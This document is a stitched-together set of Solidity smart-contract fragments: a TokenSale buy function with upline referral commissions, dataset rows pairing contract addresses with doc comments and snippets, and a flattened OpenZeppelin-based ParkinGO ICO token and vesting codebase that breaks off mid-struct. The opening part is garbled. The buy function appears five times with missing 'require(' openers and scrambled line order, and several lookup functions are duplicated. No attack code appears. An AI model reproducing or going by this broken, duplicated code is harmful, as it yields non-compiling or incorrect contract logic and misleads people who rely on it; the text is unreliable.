token1.balanceOf(invester) >= amount,
"TokenSale: USD balance is low"
);
token0.balanceOf(beneficiary) >= amountOfToken,
"TokenSale: contract balance is low"
);
uint256 directAmount = amount.mul(DirectCommission).div(1000);
if (investers[_up].join_time > 0) {
investers[_up].bonuse += directAmount;
if (_up != address(0)) {
paidFee +=directAmount;
token1.transfer(_up, directAmount);
}
}
paidFee += partfeeAmount;
paidFee += partfeeAmount.mul(2);
uint256 remainAmount = amount.sub(paidFee);
token1.transfer(
marketing,
remainAmount.mul(marketingPercent).div(1000)
);
token1.transfer(expenses, remainAmount.mul(expensesPercent).div(1000));
if (investers[invester].join_time == 0) {
investers[invester].upline = _up;
investers[invester].id = investerId++;
investers[invester].join_time = block.timestamp;
investers[_up].structures++;
userIndexModel memory idx = userIndexModel(
investers[invester].id,
invester
);
users.push(idx);
}
investers[invester].lock_time = block.timestamp;
investers[invester].total_buy += (amount).sub(partfeeAmount.mul(6));
totalBuy += amountOfToken;
return amountOfToken;
}
function buy(uint256 amount, uint256 upline) public returns (uint256) {
require(isActiveBuy, "TokenSale: active buy is disable");
uint256 paidFee = 0;
address invester = msg.sender;
address beneficiary = address(this);
address _up;
if (investers[invester].join_time > 0) {
_up = investers[invester].upline;
_up = getUserAddress(upline);
}
token1.balanceOf(invester) >= amount,
"TokenSale: USD balance is low"
);
token0.balanceOf(beneficiary) >= amountOfToken,
"TokenSale: contract balance is low"
);
uint256 directAmount = amount.mul(DirectCommission).div(1000);
if (investers[_up].join_time > 0) {
investers[_up].bonuse += directAmount;
if (_up != address(0)) {
paidFee +=directAmount;
token1.transfer(_up, directAmount);
}
}
paidFee += partfeeAmount;
paidFee += partfeeAmount.mul(2);
uint256 remainAmount = amount.sub(paidFee);
token1.transfer(
marketing,
remainAmount.mul(marketingPercent).div(1000)
);
token1.transfer(expenses, remainAmount.mul(expensesPercent).div(1000));
if (investers[invester].join_time == 0) {
investers[invester].upline = _up;
investers[invester].id = investerId++;
investers[invester].join_time = block.timestamp;
investers[_up].structures++;
userIndexModel memory idx = userIndexModel(
investers[invester].id,
invester
);
users.push(idx);
}
investers[invester].lock_time = block.timestamp;
investers[invester].total_buy += (amount).sub(partfeeAmount.mul(6));
totalBuy += amountOfToken;
return amountOfToken;
}
} else {
token1.transferFrom(invester, beneficiary, amount);
require(
require(
token0.transfer(invester, amountOfToken);
uint256 partfeeAmount = amount.mul(5).div(1000);
function buy(uint256 amount, uint256 upline) public returns (uint256) {
require(isActiveBuy, "TokenSale: active buy is disable");
uint256 paidFee = 0;
address invester = msg.sender;
address beneficiary = address(this);
address _up;
if (investers[invester].join_time > 0) {
_up = investers[invester].upline;
_up = getUserAddress(upline);
}
token1.balanceOf(invester) >= amount,
"TokenSale: USD balance is low"
);
token0.balanceOf(beneficiary) >= amountOfToken,
"TokenSale: contract balance is low"
);
uint256 directAmount = amount.mul(DirectCommission).div(1000);
if (investers[_up].join_time > 0) {
investers[_up].bonuse += directAmount;
if (_up != address(0)) {
paidFee +=directAmount;
token1.transfer(_up, directAmount);
}
}
paidFee += partfeeAmount;
paidFee += partfeeAmount.mul(2);
uint256 remainAmount = amount.sub(paidFee);
token1.transfer(
marketing,
remainAmount.mul(marketingPercent).div(1000)
);
token1.transfer(expenses, remainAmount.mul(expensesPercent).div(1000));
if (investers[invester].join_time == 0) {
investers[invester].upline = _up;
investers[invester].id = investerId++;
investers[invester].join_time = block.timestamp;
investers[_up].structures++;
userIndexModel memory idx = userIndexModel(
investers[invester].id,
invester
);
users.push(idx);
}
investers[invester].lock_time = block.timestamp;
investers[invester].total_buy += (amount).sub(partfeeAmount.mul(6));
totalBuy += amountOfToken;
return amountOfToken;
}
function buy(uint256 amount, uint256 upline) public returns (uint256) {
require(isActiveBuy, "TokenSale: active buy is disable");
uint256 paidFee = 0;
address invester = msg.sender;
address beneficiary = address(this);
address _up;
if (investers[invester].join_time > 0) {
_up = investers[invester].upline;
_up = getUserAddress(upline);
}
token1.balanceOf(invester) >= amount,
"TokenSale: USD balance is low"
);
token0.balanceOf(beneficiary) >= amountOfToken,
"TokenSale: contract balance is low"
);
uint256 directAmount = amount.mul(DirectCommission).div(1000);
if (investers[_up].join_time > 0) {
investers[_up].bonuse += directAmount;
if (_up != address(0)) {
paidFee +=directAmount;
token1.transfer(_up, directAmount);
}
}
paidFee += partfeeAmount;
paidFee += partfeeAmount.mul(2);
uint256 remainAmount = amount.sub(paidFee);
token1.transfer(
marketing,
remainAmount.mul(marketingPercent).div(1000)
);
token1.transfer(expenses, remainAmount.mul(expensesPercent).div(1000));
if (investers[invester].join_time == 0) {
investers[invester].upline = _up;
investers[invester].id = investerId++;
investers[invester].join_time = block.timestamp;
investers[_up].structures++;
userIndexModel memory idx = userIndexModel(
investers[invester].id,
invester
);
users.push(idx);
}
investers[invester].lock_time = block.timestamp;
investers[invester].total_buy += (amount).sub(partfeeAmount.mul(6));
totalBuy += amountOfToken;
return amountOfToken;
}
token1.transfer(developer, partfeeAmount);
token1.transfer(btcInvest, partfeeAmount.mul(2));
token1.transfer(dev, remainAmount.mul(devPercent).div(1000));
function buy(uint256 amount, uint256 upline) public returns (uint256) {
require(isActiveBuy, "TokenSale: active buy is disable");
uint256 paidFee = 0;
address invester = msg.sender;
address beneficiary = address(this);
address _up;
if (investers[invester].join_time > 0) {
_up = investers[invester].upline;
_up = getUserAddress(upline);
}
token1.balanceOf(invester) >= amount,
"TokenSale: USD balance is low"
);
token0.balanceOf(beneficiary) >= amountOfToken,
"TokenSale: contract balance is low"
);
uint256 directAmount = amount.mul(DirectCommission).div(1000);
if (investers[_up].join_time > 0) {
investers[_up].bonuse += directAmount;
if (_up != address(0)) {
paidFee +=directAmount;
token1.transfer(_up, directAmount);
}
}
paidFee += partfeeAmount;
paidFee += partfeeAmount.mul(2);
uint256 remainAmount = amount.sub(paidFee);
token1.transfer(
marketing,
remainAmount.mul(marketingPercent).div(1000)
);
token1.transfer(expenses, remainAmount.mul(expensesPercent).div(1000));
if (investers[invester].join_time == 0) {
investers[invester].upline = _up;
investers[invester].id = investerId++;
investers[invester].join_time = block.timestamp;
investers[_up].structures++;
userIndexModel memory idx = userIndexModel(
investers[invester].id,
invester
);
users.push(idx);
}
investers[invester].lock_time = block.timestamp;
investers[invester].total_buy += (amount).sub(partfeeAmount.mul(6));
totalBuy += amountOfToken;
return amountOfToken;
}
emit evBuy(amount, invester);
function sell(uint256 amount) public returns (uint256) {
require(isActiveSell, "active sell is disable");
address sender = msg.sender;
address beneficiary = address(this);
require(
token0.balanceOf(sender) >= amount,
"TokenSale: Token balance is low"
);
require(
token0.allowance(sender, beneficiary) >= amount,
"TokenSale: Token allowance not correct"
);
uint256 amountOfUSDT = token0Amount(amount);
require(
token1.balanceOf(beneficiary) >= amountOfUSDT,
"TokenSale: contract balance is low"
);
token1.transfer(sender, amountOfUSDT);
totalSell += amountOfUSDT;
emit evSell(amount, sender);
return amountOfUSDT;
}
function currentRate() public view returns (uint256) {
uint256 bToken = token0.balanceOf(address(this));
uint256 bUSDT = token1.balanceOf(address(this));
return MULTIPLIER.mul(bUSDT).div(bToken);
}
function token0Amount(
uint256 amount
) public view returns (uint256 tokenAMOUNT) {
tokenAMOUNT = MULTIPLIER.mul(amount).div(currentRate()) ;
return tokenAMOUNT;
}
function token1Amount(
uint256 amount
) public view returns (uint256 tokenAMOUNT) {
tokenAMOUNT = amount.mul(currentRate());
return tokenAMOUNT;
}
function investor(
address _addr
)
external
view
returns (uint256, uint256, uint256, uint256, address, uint256, uint256)
{
return (
investers[_addr].id,
investers[_addr].join_time,
investers[_addr].total_buy,
investers[_addr].structures,
investers[_addr].upline,
investers[_addr].bonuse,
investers[_addr].balance
);
}
function getUserAddress(uint256 _id) internal view returns (address) {
address res = address(0);
for (uint256 i = 0; i < users.length; i++) {
if (users[i].id == _id) {
res = users[i].wallet;
break;
}
}
return res;
}
function getUserAddress(uint256 _id) internal view returns (address) {
address res = address(0);
for (uint256 i = 0; i < users.length; i++) {
if (users[i].id == _id) {
res = users[i].wallet;
break;
}
}
return res;
}
function getUserAddress(uint256 _id) internal view returns (address) {
address res = address(0);
for (uint256 i = 0; i < users.length; i++) {
if (users[i].id == _id) {
res = users[i].wallet;
break;
}
}
return res;
}
function getUser(uint256 _id) external view returns (address) {
address res = address(0);
for (uint256 i = 0; i < users.length; i++) {
if (users[i].id == _id) {
res = users[i].wallet;
break;
}
}
return res;
}
function getUser(uint256 _id) external view returns (address) {
address res = address(0);
for (uint256 i = 0; i < users.length; i++) {
if (users[i].id == _id) {
res = users[i].wallet;
break;
}
}
return res;
}
function getUser(uint256 _id) external view returns (address) {
address res = address(0);
for (uint256 i = 0; i < users.length; i++) {
if (users[i].id == _id) {
res = users[i].wallet;
break;
}
}
return res;
}
function info()
external
view
returns (
uint256 total_Buy,
uint256 total_Sell,
uint256 totalInvesters,
uint256 balanceToken0,
uint256 balanceToken1,
uint256 current_Rate
)
{
total_Buy = totalBuy;
total_Sell = totalSell;
totalInvesters = investerId;
balanceToken0 = token0.balanceOf(address(this));
balanceToken1 = token1.balanceOf(address(this));
current_Rate = currentRate();
return (
total_Buy,
total_Sell,
totalInvesters,
balanceToken0,
balanceToken1,
current_Rate
);
}
function setActiveBuy() public onlyOwner returns(bool) {
isActiveBuy = true;
return true;
}
function setActiveSell() public onlyOwner returns(bool) {
isActiveSell = true;
return true;
}
}
| 860,063
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./full_match/80001/0x271e7Ba38970356FBbE4b57912b76325F3C8731e/sources/contracts/ERC1155TokenIds.sol
|
* @title VF ids and ERC-1155 commitment-balance ids @author π²π² <dev@doubledice.com> @notice Logic for VirtualFloor (VF) ids, and for ERC-1155 token-ids representing commitments on specific VF-outcome-timeslot combinations. @dev Both VF ids and VF-outcome-timeslot ids are uint256. The lower 5 bytes of a VF id are always 5 zero-bytes, so the 32 bytes of a VF id always have the shape `VVVVVVVVVVVVVVVVVVVVVVVVVVV00000`. An account that at (4-byte) timeslot `TTTT` commits a `n` ERC-20 token units to a specific (1-byte) outcome index `I` of a VF with id `VVVVVVVVVVVVVVVVVVVVVVVVVVV00000`, will in return be minted a balance of `n` units on the ERC-1155 token-id `VVVVVVVVVVVVVVVVVVVVVVVVVVVITTTT`./
|
library ERC1155TokenIds {
using SafeCastUpgradeable for uint256;
function isValidVirtualFloorId(uint256 value) internal pure returns (bool) {
return value >> ((8 + 1 + 4) * 8) == 0x01 && value & 0xff_ff_ff_ff_ff == 0;
}
function extractVirtualFloorId(uint256 erc1155TokenId) internal pure returns (uint256) {
return erc1155TokenId & ~uint256(0xff_ff_ff_ff_ff);
}
function legacyDestructure(
uint256 erc1155TokenId
) internal pure returns (
uint256 vfId,
uint8 outcomeIndex,
uint32 timeslot
) {
vfId = erc1155TokenId & ~uint256(0xff_ff_ff_ff_ff);
outcomeIndex = uint8((erc1155TokenId >> 32) & 0xff);
timeslot = uint32(erc1155TokenId & 0xff_ff_ff_ff);
}
function destructure(
uint256 erc1155TokenId
) internal pure returns (
uint256 vfId,
uint8 outcomeIndex,
UFixed32x6 beta
) {
vfId = erc1155TokenId & ~uint256(0xff_ff_ff_ff_ff);
outcomeIndex = uint8((erc1155TokenId >> 32) & 0xff);
beta = UFixed32x6.wrap(uint32(erc1155TokenId & 0xff_ff_ff_ff));
}
function vfOutcomeTimeslotIdOf(
uint256 validVirtualFloorId,
uint8 outcomeIndex,
uint256 timeslot
)
internal
pure
returns (uint256 tokenId)
{
assert(isValidVirtualFloorId(validVirtualFloorId));
tokenId = uint256(bytes32(abi.encodePacked(
}
function vfOutcomeBetaIdOf(
uint256 validVirtualFloorId,
uint8 outcomeIndex,
UFixed32x6 beta
)
internal
pure
returns (uint256 tokenId)
{
assert(isValidVirtualFloorId(validVirtualFloorId));
tokenId = uint256(bytes32(abi.encodePacked(
}
}
| 5,639,007
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./full_match/1/0x48deE19C0e44c147934702c12dc98963CA831009/sources/src/Asset/ERC1155ERC721.sol
|
@notice check whether address `who` is given minting bouncer rights. @param who The address to query. @return whether the address has minting rights.
|
function isBouncer(address who) external view returns(bool) {
return _bouncers[who];
}
event MetaTransactionProcessor(address metaTransactionProcessor, bool enabled);
| 4,919,183
|
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./partial_match/1/0x9e376F30D4e47Cc4f792BfC682caeb5dc76155f7/sources/MarketCreationRewards.sol
|
* @dev function to update address parameters/
|
function updateAddressParameters(bytes8 code, address payable value) external onlyAuthorizedToGovern {
clGasPriceAggregator = IChainLinkOracle(value);
}
| 15,474,615
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./partial_match/56/0x4D51d8c5e05b4226Ae623295f82E279e013376aB/sources/MasterChefV2.sol
|
YELLOW tokens created per block.
|
uint256 public yellowPerBlock;
| 11,253,023
|
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] |
//File: node_modules\openzeppelin-solidity\contracts\ownership\Ownable.sol
pragma solidity ^0.4.23;
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
//File: node_modules\openzeppelin-solidity\contracts\lifecycle\Pausable.sol
pragma solidity ^0.4.23;
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
//File: node_modules\openzeppelin-solidity\contracts\token\ERC20\ERC20Basic.sol
pragma solidity ^0.4.23;
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
//File: node_modules\openzeppelin-solidity\contracts\token\ERC20\ERC20.sol
pragma solidity ^0.4.23;
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
//File: node_modules\openzeppelin-solidity\contracts\token\ERC20\SafeERC20.sol
pragma solidity ^0.4.23;
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
require(token.transfer(to, value));
}
function safeTransferFrom(
ERC20 token,
address from,
address to,
uint256 value
)
internal
{
require(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
require(token.approve(spender, value));
}
}
//File: node_modules\openzeppelin-solidity\contracts\ownership\CanReclaimToken.sol
pragma solidity ^0.4.23;
/**
* @title Contracts that should be able to recover tokens
* @author SylTi
* @dev This allow a contract to recover any ERC20 token received in a contract by transferring the balance to the contract owner.
* This will prevent any accidental loss of tokens.
*/
contract CanReclaimToken is Ownable {
using SafeERC20 for ERC20Basic;
/**
* @dev Reclaim all ERC20Basic compatible tokens
* @param token ERC20Basic The address of the token contract
*/
function reclaimToken(ERC20Basic token) external onlyOwner {
uint256 balance = token.balanceOf(this);
token.safeTransfer(owner, balance);
}
}
//File: node_modules\openzeppelin-solidity\contracts\math\SafeMath.sol
pragma solidity ^0.4.23;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
//File: contracts\ico\KYCBase.sol
pragma solidity ^0.4.24;
// Abstract base contract
contract KYCBase {
using SafeMath for uint256;
mapping (address => bool) public isKycSigner;
mapping (uint64 => uint256) public alreadyPayed;
event KycVerified(address indexed signer, address buyerAddress, uint64 buyerId, uint maxAmount);
constructor(address[] kycSigners) internal {
for (uint i = 0; i < kycSigners.length; i++) {
isKycSigner[kycSigners[i]] = true;
}
}
// Must be implemented in descending contract to assign tokens to the buyers. Called after the KYC verification is passed
function releaseTokensTo(address buyer) internal returns(bool);
// This method can be overridden to enable some sender to buy token for a different address
function senderAllowedFor(address buyer)
internal view returns(bool)
{
return buyer == msg.sender;
}
function buyTokensFor(address buyerAddress, uint64 buyerId, uint maxAmount, uint8 v, bytes32 r, bytes32 s)
public payable returns (bool)
{
require(senderAllowedFor(buyerAddress));
return buyImplementation(buyerAddress, buyerId, maxAmount, v, r, s);
}
function buyTokens(uint64 buyerId, uint maxAmount, uint8 v, bytes32 r, bytes32 s)
public payable returns (bool)
{
return buyImplementation(msg.sender, buyerId, maxAmount, v, r, s);
}
function buyImplementation(address buyerAddress, uint64 buyerId, uint maxAmount, uint8 v, bytes32 r, bytes32 s)
private returns (bool)
{
// check the signature
bytes32 hash = sha256(abi.encodePacked("Eidoo icoengine authorization", this, buyerAddress, buyerId, maxAmount));
address signer = ecrecover(hash, v, r, s);
if (!isKycSigner[signer]) {
revert();
} else {
uint256 totalPayed = alreadyPayed[buyerId].add(msg.value);
require(totalPayed <= maxAmount);
alreadyPayed[buyerId] = totalPayed;
emit KycVerified(signer, buyerAddress, buyerId, maxAmount);
return releaseTokensTo(buyerAddress);
}
}
// No payable fallback function, the tokens must be buyed using the functions buyTokens and buyTokensFor
function () public {
revert();
}
}
//File: contracts\ico\ICOEngineInterface.sol
pragma solidity ^0.4.24;
contract ICOEngineInterface {
// false if the ico is not started, true if the ico is started and running, true if the ico is completed
function started() public view returns(bool);
// false if the ico is not started, false if the ico is started and running, true if the ico is completed
function ended() public view returns(bool);
// time stamp of the starting time of the ico, must return 0 if it depends on the block number
function startTime() public view returns(uint);
// time stamp of the ending time of the ico, must retrun 0 if it depends on the block number
function endTime() public view returns(uint);
// Optional function, can be implemented in place of startTime
// Returns the starting block number of the ico, must return 0 if it depends on the time stamp
// function startBlock() public view returns(uint);
// Optional function, can be implemented in place of endTime
// Returns theending block number of the ico, must retrun 0 if it depends on the time stamp
// function endBlock() public view returns(uint);
// returns the total number of the tokens available for the sale, must not change when the ico is started
function totalTokens() public view returns(uint);
// returns the number of the tokens available for the ico. At the moment that the ico starts it must be equal to totalTokens(),
// then it will decrease. It is used to calculate the percentage of sold tokens as remainingTokens() / totalTokens()
function remainingTokens() public view returns(uint);
// return the price as number of tokens released for each ether
function price() public view returns(uint);
}
//File: node_modules\openzeppelin-solidity\contracts\token\ERC20\BasicToken.sol
pragma solidity ^0.4.23;
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
//File: node_modules\openzeppelin-solidity\contracts\token\ERC20\StandardToken.sol
pragma solidity ^0.4.23;
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
//File: node_modules\openzeppelin-solidity\contracts\token\ERC20\MintableToken.sol
pragma solidity ^0.4.23;
/**
* @title Mintable token
* @dev Simple ERC20 Token example, with mintable token creation
* @dev Issue: * https://github.com/OpenZeppelin/openzeppelin-solidity/issues/120
* Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
*/
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(
address _to,
uint256 _amount
)
hasMintPermission
canMint
public
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
//File: node_modules\openzeppelin-solidity\contracts\token\ERC20\PausableToken.sol
pragma solidity ^0.4.23;
/**
* @title Pausable token
* @dev StandardToken modified with pausable transfers.
**/
contract PausableToken is StandardToken, Pausable {
function transfer(
address _to,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.transfer(_to, _value);
}
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.transferFrom(_from, _to, _value);
}
function approve(
address _spender,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.approve(_spender, _value);
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
whenNotPaused
returns (bool success)
{
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
whenNotPaused
returns (bool success)
{
return super.decreaseApproval(_spender, _subtractedValue);
}
}
//File: node_modules\openzeppelin-solidity\contracts\token\ERC20\BurnableToken.sol
pragma solidity ^0.4.23;
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
//File: contracts\ico\GotToken.sol
/**
* @title ParkinGO token
*
* @version 1.0
* @author ParkinGO
*/
pragma solidity ^0.4.24;
contract GotToken is CanReclaimToken, MintableToken, PausableToken, BurnableToken {
string public constant name = "GOToken";
string public constant symbol = "GOT";
uint8 public constant decimals = 18;
/**
* @dev Constructor of GotToken that instantiates a new Mintable Pausable Token
*/
constructor() public {
// token should not be transferable until after all tokens have been issued
paused = true;
}
}
//File: contracts\ico\PGOVault.sol
/**
* @title PGOVault
* @dev A token holder contract that allows the release of tokens to the ParkinGo Wallet.
*
* @version 1.0
* @author ParkinGo
*/
pragma solidity ^0.4.24;
contract PGOVault {
using SafeMath for uint256;
using SafeERC20 for GotToken;
uint256[4] public vesting_offsets = [
360 days,
540 days,
720 days,
900 days
];
uint256[4] public vesting_amounts = [
0.875e7 * 1e18,
0.875e7 * 1e18,
0.875e7 * 1e18,
0.875e7 * 1e18
];
address public pgoWallet;
GotToken public token;
uint256 public start;
uint256 public released;
uint256 public vestingOffsetsLength = vesting_offsets.length;
/**
* @dev Constructor.
* @param _pgoWallet The address that will receive the vested tokens.
* @param _token The GOT Token, which is being vested.
* @param _start The start time from which each release time will be calculated.
*/
constructor(
address _pgoWallet,
address _token,
uint256 _start
)
public
{
pgoWallet = _pgoWallet;
token = GotToken(_token);
start = _start;
}
/**
* @dev Transfers vested tokens to ParkinGo Wallet.
*/
function release() public {
uint256 unreleased = releasableAmount();
require(unreleased > 0);
released = released.add(unreleased);
token.safeTransfer(pgoWallet, unreleased);
}
/**
* @dev Calculates the amount that has already vested but hasn't been released yet.
*/
function releasableAmount() public view returns (uint256) {
return vestedAmount().sub(released);
}
/**
* @dev Calculates the amount that has already vested.
*/
function vestedAmount() public view returns (uint256) {
uint256 vested = 0;
for (uint256 i = 0; i < vestingOffsetsLength; i = i.add(1)) {
if (block.timestamp > start.add(vesting_offsets[i])) {
vested = vested.add(vesting_amounts[i]);
}
}
return vested;
}
/**
* @dev Calculates the amount that has not yet released.
*/
function unreleasedAmount() public view returns (uint256) {
uint256 unreleased = 0;
for (uint256 i = 0; i < vestingOffsetsLength; i = i.add(1)) {
unreleased = unreleased.add(vesting_amounts[i]);
}
return unreleased.sub(released);
}
}
//File: contracts\ico\PGOMonthlyInternalVault.sol
/**
* @title PGOMonthlyVault
* @dev A token holder contract that allows the release of tokens after a vesting period.
*
* @version 1.0
* @author ParkinGO
*/
pragma solidity ^0.4.24;
contract PGOMonthlyInternalVault {
using SafeMath for uint256;
using SafeERC20 for GotToken;
struct Investment {
address beneficiary;
uint256 totalBalance;
uint256 released;
}
